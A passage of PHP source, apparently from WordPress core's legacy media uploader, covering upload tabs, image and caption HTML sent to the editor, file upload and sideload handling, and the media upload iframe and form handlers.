		'type'     => __( 'From Computer' ), // Handler action suffix => tab text.
		'type_url' => __( 'From URL' ),
		'gallery'  => __( 'Gallery' ),
		'library'  => __( 'Media Library' ),
	);

	/**
	 * Filters the available tabs in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $_default_tabs An array of media tabs.
	 */
	return apply_filters( 'media_upload_tabs', $_default_tabs );
}

/**
 * Adds the gallery tab back to the tabs array if post has image attachments.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $tabs
 * @return array $tabs with gallery if post has image attachment
 */
function update_gallery_tab( $tabs ) {
	global $wpdb;

	if ( ! isset( $_REQUEST['post_id'] ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

	$post_id = (int) $_REQUEST['post_id'];

	if ( $post_id ) {
		$attachments = (int) $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) );
	}

	if ( empty( $attachments ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

	/* translators: %s: Number of attachments. */
	$tabs['gallery'] = sprintf( __( 'Gallery (%s)' ), "<span id='attachments-count'>$attachments</span>" );

	return $tabs;
}

/**
 * Outputs the legacy media upload tabs UI.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 */
function the_media_upload_tabs() {
	global $redir_tab;
	$tabs    = media_upload_tabs();
	$default = 'type';

	if ( ! empty( $tabs ) ) {
		echo "<ul id='sidemenu'>\n";

		if ( isset( $redir_tab ) && array_key_exists( $redir_tab, $tabs ) ) {
			$current = $redir_tab;
		} elseif ( isset( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $tabs ) ) {
			$current = $_GET['tab'];
		} else {
			/** This filter is documented in wp-admin/media-upload.php */
			$current = apply_filters( 'media_upload_default_tab', $default );
		}

		foreach ( $tabs as $callback => $text ) {
			$class = '';

			if ( $current == $callback ) {
				$class = " class='current'";
			}

			$href = add_query_arg(
				array(
					'tab'            => $callback,
					's'              => false,
					'paged'          => false,
					'post_mime_type' => false,
					'm'              => false,
				)
			);
			$link = "<a href='" . esc_url( $href ) . "'$class>$text</a>";
			echo "\t<li id='" . esc_attr( "tab-$callback" ) . "'>$link</li>\n";
		}

		echo "</ul>\n";
	}
}

/**
 * Retrieves the image HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param int          $id      Image attachment ID.
 * @param string       $caption Image caption.
 * @param string       $title   Image title attribute.
 * @param string       $align   Image CSS alignment property.
 * @param string       $url     Optional. Image src URL. Default empty.
 * @param bool|string  $rel     Optional. Value for rel attribute or whether to add a default value. Default false.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array of
 *                              width and height values in pixels (in that order). Default 'medium'.
 * @param string       $alt     Optional. Image alt attribute. Default empty.
 * @return string The HTML output to insert into the editor.
 */
function get_image_send_to_editor( $id, $caption, $title, $align, $url = '', $rel = false, $size = 'medium', $alt = '' ) {

	$html = get_image_tag( $id, $alt, '', $align, $size );

	if ( $rel ) {
		if ( is_string( $rel ) ) {
			$rel = ' rel="' . esc_attr( $rel ) . '"';
		} else {
			$rel = ' rel="attachment wp-att-' . (int) $id . '"';
		}
	} else {
		$rel = '';
	}

	if ( $url ) {
		$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
	}

	/**
	 * Filters the image HTML markup to send to the editor when inserting an image.
	 *
	 * @since 2.5.0
	 * @since 5.6.0 The `$rel` parameter was added.
	 *
	 * @param string       $html    The image HTML markup to send.
	 * @param int          $id      The attachment ID.
	 * @param string       $caption The image caption.
	 * @param string       $title   The image title.
	 * @param string       $align   The image alignment.
	 * @param string       $url     The image source URL.
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param string       $alt     The image alternative, or alt, text.
	 * @param string       $rel     The image rel attribute.
	 */
	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt, $rel );

	return $html;
}

/**
 * Adds image shortcode with caption to editor.
 *
 * @since 2.6.0
 *
 * @param string  $html    The image HTML markup to send.
 * @param int     $id      Image attachment ID.
 * @param string  $caption Image caption.
 * @param string  $title   Image title attribute (not used).
 * @param string  $align   Image CSS alignment property.
 * @param string  $url     Image source URL (not used).
 * @param string  $size    Image size (not used).
 * @param string  $alt     Image `alt` attribute (not used).
 * @return string The image HTML markup with caption shortcode.
 */
function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {

	/**
	 * Filters the caption text.
	 *
	 * Note: If the caption text is empty, the caption shortcode will not be appended
	 * to the image HTML when inserted into the editor.
	 *
	 * Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
	 * Filters from being evaluated at the end of image_add_caption().
	 *
	 * @since 4.1.0
	 *
	 * @param string $caption The original caption text.
	 * @param int    $id      The attachment ID.
	 */
	$caption = apply_filters( 'image_add_caption_text', $caption, $id );

	/**
	 * Filters whether to disable captions.
	 *
	 * Prevents image captions from being appended to image HTML when inserted into the editor.
	 *
	 * @since 2.6.0
	 *
	 * @param bool $bool Whether to disable appending captions. Returning true from the filter
	 *                   will disable captions. Default empty string.
	 */
	if ( empty( $caption ) || apply_filters( 'disable_captions', '' ) ) {
		return $html;
	}

	$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';

	if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) ) {
		return $html;
	}

	$width = $matches[1];

	$caption = str_replace( array( "\r\n", "\r" ), "\n", $caption );
	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );

	// Convert any remaining line breaks to <br />.
	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );

	$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
	if ( empty( $align ) ) {
		$align = 'none';
	}

	$shcode = '[caption id="' . $id . '" align="align' . $align . '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';

	/**
	 * Filters the image HTML markup including the caption shortcode.
	 *
	 * @since 2.6.0
	 *
	 * @param string $shcode The image HTML markup with caption shortcode.
	 * @param string $html   The image HTML markup.
	 */
	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
}

/**
 * Private preg_replace callback used in image_add_caption().
 *
 * @access private
 * @since 3.4.0
 *
 * @param array $matches Single regex match.
 * @return string Cleaned up HTML for caption.
 */
function _cleanup_image_add_caption( $matches ) {
	// Remove any line breaks from inside the tags.
	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
}

/**
 * Adds image HTML to editor.
 *
 * @since 2.5.0
 *
 * @param string $html
 */
function media_send_to_editor( $html ) {
	?>
	<script type="text/javascript">
	var win = window.dialogArguments || opener || parent || top;
	win.send_to_editor( <?php echo wp_json_encode( $html ); ?> );
	</script>
	<?php
	exit;
}

/**
 * Saves a file submitted from a POST request and create an attachment post for it.
 *
 * @since 2.5.0
 *
 * @param string $file_id   Index of the `$_FILES` array that the file was sent.
 * @param int    $post_id   The post ID of a post to attach the media item to. Required, but can
 *                          be set to 0, creating a media item that has no relationship to a post.
 * @param array  $post_data Optional. Overwrite some of the attachment.
 * @param array  $overrides Optional. Override the wp_handle_upload() behavior.
 * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
 */
function media_handle_upload( $file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false ) ) {
	$time = current_time( 'mysql' );
	$post = get_post( $post_id );

	if ( $post ) {
		// The post date doesn't usually matter for pages, so don't backdate this upload.
		if ( 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		}
	}

	$file = wp_handle_upload( $_FILES[ $file_id ], $overrides, $time );

	if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

	$name = $_FILES[ $file_id ]['name'];
	$ext  = pathinfo( $name, PATHINFO_EXTENSION );
	$name = wp_basename( $name, ".$ext" );

	$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = sanitize_text_field( $name );
	$content = '';
	$excerpt = '';

	if ( preg_match( '#^audio#', $type ) ) {
		$meta = wp_read_audio_metadata( $file );

		if ( ! empty( $meta['title'] ) ) {
			$title = $meta['title'];
		}

		if ( ! empty( $title ) ) {

			if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Album title, 3: Artist name. */
				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
			} elseif ( ! empty( $meta['album'] ) ) {
				/* translators: 1: Audio track title, 2: Album title. */
				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
			} elseif ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Artist name. */
				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
			} else {
				/* translators: %s: Audio track title. */
				$content .= sprintf( __( '"%s".' ), $title );
			}
		} elseif ( ! empty( $meta['album'] ) ) {

			if ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio album title, 2: Artist name. */
				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
			} else {
				$content .= $meta['album'] . '.';
			}
		} elseif ( ! empty( $meta['artist'] ) ) {

			$content .= $meta['artist'] . '.';

		}

		if ( ! empty( $meta['year'] ) ) {
			/* translators: Audio file track information. %d: Year of audio track release. */
			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
		}

		if ( ! empty( $meta['track_number'] ) ) {
			$track_number = explode( '/', $meta['track_number'] );

			if ( is_numeric( $track_number[0] ) ) {
				if ( isset( $track_number[1] ) && is_numeric( $track_number[1] ) ) {
					$content .= ' ' . sprintf(
						/* translators: Audio file track information. 1: Audio track number, 2: Total audio tracks. */
						__( 'Track %1$s of %2$s.' ),
						number_format_i18n( $track_number[0] ),
						number_format_i18n( $track_number[1] )
					);
				} else {
					$content .= ' ' . sprintf(
						/* translators: Audio file track information. %s: Audio track number. */
						__( 'Track %s.' ),
						number_format_i18n( $track_number[0] )
					);
				}
			}
		}

		if ( ! empty( $meta['genre'] ) ) {
			/* translators: Audio file genre information. %s: Audio genre name. */
			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
		}

		// Use image exif/iptc data for title and caption defaults if possible.
	} elseif ( str_starts_with( $type, 'image/' ) ) {
		$image_meta = wp_read_image_metadata( $file );

		if ( $image_meta ) {
			if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$title = $image_meta['title'];
			}

			if ( trim( $image_meta['caption'] ) ) {
				$excerpt = $image_meta['caption'];
			}
		}
	}

	// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
			'post_excerpt'   => $excerpt,
		),
		$post_data
	);

	// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

	// Save the data.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

	if ( ! is_wp_error( $attachment_id ) ) {
		/*
		 * Set a custom header with the attachment_id.
		 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
		 */
		if ( ! headers_sent() ) {
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		/*
		 * The image sub-sizes are created during wp_generate_attachment_metadata().
		 * This is generally slow and may cause timeouts or out of memory errors.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

	return $attachment_id;
}

/**
 * Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload().
 *
 * @since 2.6.0
 * @since 5.3.0 The `$post_id` parameter was made optional.
 *
 * @param string[] $file_array Array that represents a `$_FILES` upload array.
 * @param int      $post_id    Optional. The post ID the media is associated with.
 * @param string   $desc       Optional. Description of the side-loaded file. Default null.
 * @param array    $post_data  Optional. Post data to override. Default empty array.
 * @return int|WP_Error The ID of the attachment or a WP_Error on failure.
 */
function media_handle_sideload( $file_array, $post_id = 0, $desc = null, $post_data = array() ) {
	$overrides = array( 'test_form' => false );

	if ( isset( $post_data['post_date'] ) && substr( $post_data['post_date'], 0, 4 ) > 0 ) {
		$time = $post_data['post_date'];
	} else {
		$post = get_post( $post_id );
		if ( $post && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		} else {
			$time = current_time( 'mysql' );
		}
	}

	$file = wp_handle_sideload( $file_array, $overrides, $time );

	if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

	$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
	$content = '';

	// Use image exif/iptc data for title and caption defaults if possible.
	$image_meta = wp_read_image_metadata( $file );

	if ( $image_meta ) {
		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
			$title = $image_meta['title'];
		}

		if ( trim( $image_meta['caption'] ) ) {
			$content = $image_meta['caption'];
		}
	}

	if ( isset( $desc ) ) {
		$title = $desc;
	}

	// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
		),
		$post_data
	);

	// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

	// Save the attachment metadata.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

	if ( ! is_wp_error( $attachment_id ) ) {
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

	return $attachment_id;
}

/**
 * Outputs the iframe to display the media upload page.
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global int $body_id
 *
 * @param callable $content_func Function that outputs the content.
 * @param mixed    ...$args      Optional additional parameters to pass to the callback function when it's called.
 */
function wp_iframe( $content_func, ...$args ) {
	_wp_admin_html_begin();
	?>
	<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php _e( 'Uploads' ); ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php

	wp_enqueue_style( 'colors' );
	// Check callback name for 'media'.
	if (
		( is_array( $content_func ) && ! empty( $content_func[1] ) && str_starts_with( (string) $content_func[1], 'media' ) ) ||
		( ! is_array( $content_func ) && str_starts_with( $content_func, 'media' ) )
	) {
		wp_enqueue_style( 'deprecated-media' );
	}

	?>
	<script type="text/javascript">
	addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
	var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
	isRtl = <?php echo (int) is_rtl(); ?>;
	</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );

	/**
	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_styles-media-upload-popup' );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

	/**
	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_scripts-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

	/**
	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
	 * media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_head-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

	if ( is_string( $content_func ) ) {
		/**
		 * Fires in the admin header for each specific form tab in the legacy
		 * (pre-3.5.0) media upload popup.
		 *
		 * The dynamic portion of the hook name, `$content_func`, refers to the form
		 * callback for the media upload type.
		 *
		 * @since 2.5.0
		 */
		do_action( "admin_head_{$content_func}" );
	}

	$body_id_attr = '';

	if ( isset( $GLOBALS['body_id'] ) ) {
		$body_id_attr = ' id="' . $GLOBALS['body_id'] . '"';
	}

	?>
	</head>
	<body<?php echo $body_id_attr; ?> class="wp-core-ui no-js">
	<script type="text/javascript">
	document.body.className = document.body.className.replace('no-js', 'js');
	</script>
	<?php

	call_user_func_array( $content_func, $args );

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );

	?>
	<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
	</body>
	</html>
	<?php
}

/**
 * Adds the media button to the editor.
 *
 * @since 2.5.0
 *
 * @global int $post_ID
 *
 * @param string $editor_id
 */
function media_buttons( $editor_id = 'content' ) {
	static $instance = 0;
	++$instance;

	$post = get_post();

	if ( ! $post && ! empty( $GLOBALS['post_ID'] ) ) {
		$post = $GLOBALS['post_ID'];
	}

	wp_enqueue_media( array( 'post' => $post ) );

	$img = '<span class="wp-media-buttons-icon"></span> ';

	$id_attribute = 1 === $instance ? ' id="insert-media-button"' : '';

	printf(
		'<button type="button"%s class="button insert-media add_media" data-editor="%s">%s</button>',
		$id_attribute,
		esc_attr( $editor_id ),
		$img . __( 'Add Media' )
	);

	/**
	 * Filters the legacy (pre-3.5.0) media buttons.
	 *
	 * Use {@see 'media_buttons'} action instead.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use {@see 'media_buttons'} action instead.
	 *
	 * @param string $string Media buttons context. Default empty.
	 */
	$legacy_filter = apply_filters_deprecated( 'media_buttons_context', array( '' ), '3.5.0', 'media_buttons' );

	if ( $legacy_filter ) {
		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) ) {
			$legacy_filter .= '</a>';
		}
		echo $legacy_filter;
	}
}

/**
 * Retrieves the upload iframe source URL.
 *
 * @since 3.0.0
 *
 * @global int $post_ID
 *
 * @param string $type    Media type.
 * @param int    $post_id Post ID.
 * @param string $tab     Media upload tab.
 * @return string Upload iframe source URL.
 */
function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
	global $post_ID;

	if ( empty( $post_id ) ) {
		$post_id = $post_ID;
	}

	$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url( 'media-upload.php' ) );

	if ( $type && 'media' !== $type ) {
		$upload_iframe_src = add_query_arg( 'type', $type, $upload_iframe_src );
	}

	if ( ! empty( $tab ) ) {
		$upload_iframe_src = add_query_arg( 'tab', $tab, $upload_iframe_src );
	}

	/**
	 * Filters the upload iframe source URL for a specific media type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the type
	 * of media uploaded.
	 *
	 * Possible hook names include:
	 *
	 *  - `image_upload_iframe_src`
	 *  - `media_upload_iframe_src`
	 *
	 * @since 3.0.0
	 *
	 * @param string $upload_iframe_src The upload iframe source URL.
	 */
	$upload_iframe_src = apply_filters( "{$type}_upload_iframe_src", $upload_iframe_src );

	return add_query_arg( 'TB_iframe', true, $upload_iframe_src );
}

/**
 * Handles form submissions for the legacy media uploader.
 *
 * @since 2.5.0
 *
 * @return null|array|void Array of error messages keyed by attachment ID, null or void on success.
 */
function media_upload_form_handler() {
	check_admin_referer( 'media-form' );

	$errors = null;

	if ( isset( $_POST['send'] ) ) {
		$keys    = array_keys( $_POST['send'] );
		$send_id = (int) reset( $keys );
	}

	if ( ! empty( $_POST['attachments'] ) ) {
		foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
			$post  = get_post( $attachment_id, ARRAY_A );
			$_post = $post;

			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
				continue;
			}

			if ( isset( $attachment['post_content'] ) ) {
				$post['post_content'] = $attachment['post_content'];
			}

			if ( isset( $attachment['post_title'] ) ) {
				$post['post_title'] = $attachment['post_title'];
			}

			if ( isset( $attachment['post_excerpt'] ) ) {
				$post['post_excerpt'] = $attachment['post_excerpt'];
			}

			if ( isset( $attachment['menu_order'] ) ) {
				$post['menu_order'] = $attachment['menu_order'];
			}

			if ( isset( $send_id ) && $attachment_id == $send_id ) {
				if ( isset( $attachment['post_parent'] ) ) {
					$post['post_parent'] = $attachment['post_parent'];
				}
			}

			/**
			 * Filters the attachment fields to be saved.
			 *
			 * @since 2.5.0
			 *
			 * @see wp_get_attachment_metadata()
			 *
			 * @param array $post       An array of post data.
			 * @param array $attachment An array of attachment metadata.
			 */
			$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );

			if ( isset( $attachment['image_alt'] ) ) {
				$image_alt = wp_unslash( $attachment['image_alt'] );

				if ( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
					$image_alt = wp_strip_all_tags( $image_alt, true );

					// update_post_meta() expects slashed.
					update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
				}
			}

			if ( isset( $post['errors'] ) ) {
				$errors[ $attachment_id ] = $post['errors'];
				unset( $post['errors'] );
			}

			if ( $post != $_post ) {
				wp_update_post( $post );
			}

			foreach ( get_attachment_taxonomies( $post ) as $t ) {
				if ( isset( $attachment[ $t ] ) ) {
					wp_set_object_terms( $attachment_id, array_map( 'trim', preg_split( '/,+/', $attachment[ $t ] ) ), $t, false );
				}
			}
		}
	}

	if ( isset( $_POST['insert-gallery'] ) || isset( $_POST['update-gallery'] ) ) {
		?>
		<script type="text/javascript">
		var win = window.dialogArguments || opener || parent || top;
		win.tb_remove();
		</script>
		<?php

		exit;
	}

	if ( isset( $send_id ) ) {
		$attachment = wp_unslash( $_POST['attachments'][ $send_id ] );
		$html       = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';

		if ( ! empty( $attachment['url'] ) ) {
			$rel = '';

			if ( str_contains( $attachment['url'], 'attachment_id' ) || get_attachment_link( $send_id ) === $attachment['url'] ) {
				$rel = " rel='attachment wp-att-" . esc_attr( $send_id ) . "'";
			}

			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
		}

		/**
		 * Filters the HTML markup for a media item sent to the editor.
		 *
		 * @since 2.5.0
		 *
		 * @see wp_get_attachment_metadata()
		 *
		 * @param string $html       HTML markup for a media item sent to the editor.
		 * @param int    $send_id    The first key from the $_POST['send'] data.
		 * @param array  $attachment Array of attachment metadata.
		 */
		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );

		return media_send_to_editor( $html );
	}

	return $errors;
}

/**
 * Handles the process of uploading media.
 *
 * @since 2.5.0
 *
 * @return null|string
 */
function wp_media_upload_handler() {
	$errors = array();
	$id     = 0;

	if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
		check_admin_referer( 'media-form' );
		// Upload File button was clicked.
		$id = media_handle_upload( 'async-upload', $_REQUEST['post_id'] );
		unset( $_FILES );

		if ( is_wp_error( $id ) ) {
			$errors['upload_error'] = $id;
			$id                     = false;
		}
	}

	if ( ! empty( $_POST['insertonlybutton'] ) ) {
		$src = $_POST['src'];

		if ( ! empty( $src ) && ! strpos( $src, '://' ) ) {
			$src = "http://$src";
		}

		if ( isset( $_POST['media_type'] ) && 'image' !== $_POST['media_type'] ) {
			$title = esc_html( wp_unslash( $_POST['title'] ) );
			if ( empty( $title ) ) {
				$title = esc_html( wp_basename( $src ) );
			}

			if ( $title && $src ) {
				$html = "<a href='" . esc_url( $src ) . "'>$title</a>";
			}

			$type = 'file';
			$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );

			if ( $ext ) {
				$ext_type = wp_ext2type( $ext );
				if ( 'audio' === $ext_type || 'video' === $ext_type ) {
					$type = $ext_type;
				}
			}

			/**
			 * Filters the URL sent to the editor for a specific media type.
			 *
			 * The dynamic portion of the hook name, `$type`, refers to the type
			 * of media being sent.
			 *
			 * Possible hook names include:
			 *
			 *  - `audio_send_to_editor_url`
			 *  - `file_send_to_editor_url`
			 *  - `video_send_to_editor_url`
			 *
			 * @since 3.3.0
			 *
			 * @param string $html  HTML markup sent to the editor.
			 * @param string $src   Media source URL.
			 * @param string $title Media title.
			 */
			$html = apply_filters( "{$type}_send_to_editor_url", $html, sanitize_url( $src ), $title );
		} else {
			$align = '';
			$alt   = esc_attr( wp_unslash( $_POST['alt'] ) );

			if ( isset( $_POST['align'] ) ) {
				$align = esc_attr( wp_unslash( $_POST['align'] ) );
				$class = " class='align$align'";
			}

			if ( ! empty( $src ) ) {
				$html = "<img src='" . esc_url( $src ) . "' alt='$alt'$class />";
			}

			/**
			 * Filters the image URL sent to the editor.
			 *
			 * @since 2.8.0
			 *
			 * @param string $html  HTML markup sent to the editor for an image.
			 * @param string $src   Image source URL.
			 * @param string $alt   Image alternate, or alt, text.
			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
			 */
			$html = apply_filters( 'image_send_to_editor_url', $html, sanitize_url( $src ), $alt, $align );
		}

		return media_send_to_editor( $html );
	}

	if ( isset( $_POST['save'] ) ) {
		$errors['upload_notice'] = __( 'Saved.' );
		wp_enqueue_script( 'admin-gallery' );

		return wp_iframe( 'media_upload_gallery_form', $errors );

	} elseif ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}

		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	if ( isset( $_GET['tab'] ) && 'type_url' === $_GET['tab'] ) {
		$type = 'image';

		if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ), true ) ) {
			$type = $_GET['type'];
		}

		return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
	}

	return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
}

/**
 * Downloads an image from the specified URL, saves it as an attachment, and optionally attaches it to a post.
 *
 * @since 2.6.0
 * @since 4.2.0 Introduced the `$return_type` parameter.
 * @since 4.8.0 Introduced the 'id' option for the `$return_type` parameter.
 * @since 5.3.0 The `$post_id` parameter was made optional.
 * @since 5.4.0 The original URL of the attachment is stored in the `_source_url`
 *              post meta value.
 * @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
 *
 * @param string $file        The URL of the image to download.
 * @param int    $post_id     Optional. The post ID the media is to be associated with.
 * @param string $desc        Optional. Description of the image.
 * @param string $return_type Optional. Accepts 'html' (image tag html) or 'src' (URL),
 *                            or 'id' (attachment ID). Default 'html'.
 * @return string|int|WP_Error Populated HTML img tag, attachment ID, or attachment source
 *                             on success, WP_Error object otherwise.
 */
function media_sideload_image( $file, $post_id = 0, $desc = null, $return_type = 'html' ) {
	if ( ! empty( $file ) ) {

		$allowed_extensions = array( 'jpg', 'jpeg', 'jpe', 'png', 'gif', 'webp' );

		/**
		 * Filters the list of allowed file extensions when sideloading an image from a URL.
		 *
		 * The default allowed extensions are:
		 *
		 *  - `jpg`
		 *  - `jpeg`
		 *  - `jpe`
		 *  - `png`
		 *  - `gif`
		 *  - `webp`
		 *
		 * @since 5.6.0
		 * @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
		 *
		 * @param string[] $allowed_extensions Array of allowed file extensions.
		 * @param string   $file               The URL of the image to download.
		 */
		$allowed_extensions = apply_filters( 'image_sideload_extensions', $allowed_extensions, $file );
		$allowed_extensions = array_map( 'preg_quote', $allowed_extensions );

		// Set variables for storage, fix file filename for query strings.
		preg_match( '/[^\?]+\.(' . implode( '|', $allowed_extensions ) . ')\b/i', $file, $matches );

		if ( ! $matches ) {
			return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL.' ) );
		}

		$file_array         = array();
		$file_array['name'] = wp_basename( $matches[0] );

		// Download file to temp location.
		$file_array['tmp_name'] = download_url( $file );

		// If error storing temporarily, return the error.
		if ( is_wp_error( $file_array['tmp_name'] ) ) {
			return $file_array['tmp_name'];
		}

		// Do the validation and storage stuff.
		$id = media_handle_sideload( $file_array, $post_id, $desc );

		// If error storing permanently, unlink.
		if ( is_wp_error( $id ) ) {
			@unlink( $file_array['tmp_name'] );
			return $id;
		}

		// Store the original attachment source in meta.
		add_post_meta( $id, '_source_url', $file );

		// If attachment ID was requested, return it.
		if ( 'id' === $return_type ) {
			return $id;
		}

		$src = wp_get_attachment_url( $id );
	}

	// Finally, check to make sure the file has been saved, then return the HTML.
	if ( ! empty( $src ) ) {
		if ( 'src' === $return_type ) {
			return $src;
		}

		$alt  = isset( $desc ) ? esc_attr( $desc ) : '';
		$html = "<img src='$src' alt='$alt' />";

		return $html;
	} else {
		return new WP_Error( 'image_sideload_failed' );
	}
}

/**
 * Retrieves the legacy media uploader form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_gallery() {
	$errors = array();

	if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}

		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	wp_enqueue_script( 'admin-gallery' );
	return wp_iframe( 'media_upload_gallery_form', $errors );
}

/**
 * Retrieves the legacy media library form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_library() {
	$errors = array();

	if ( ! empty( $_POST ) ) {
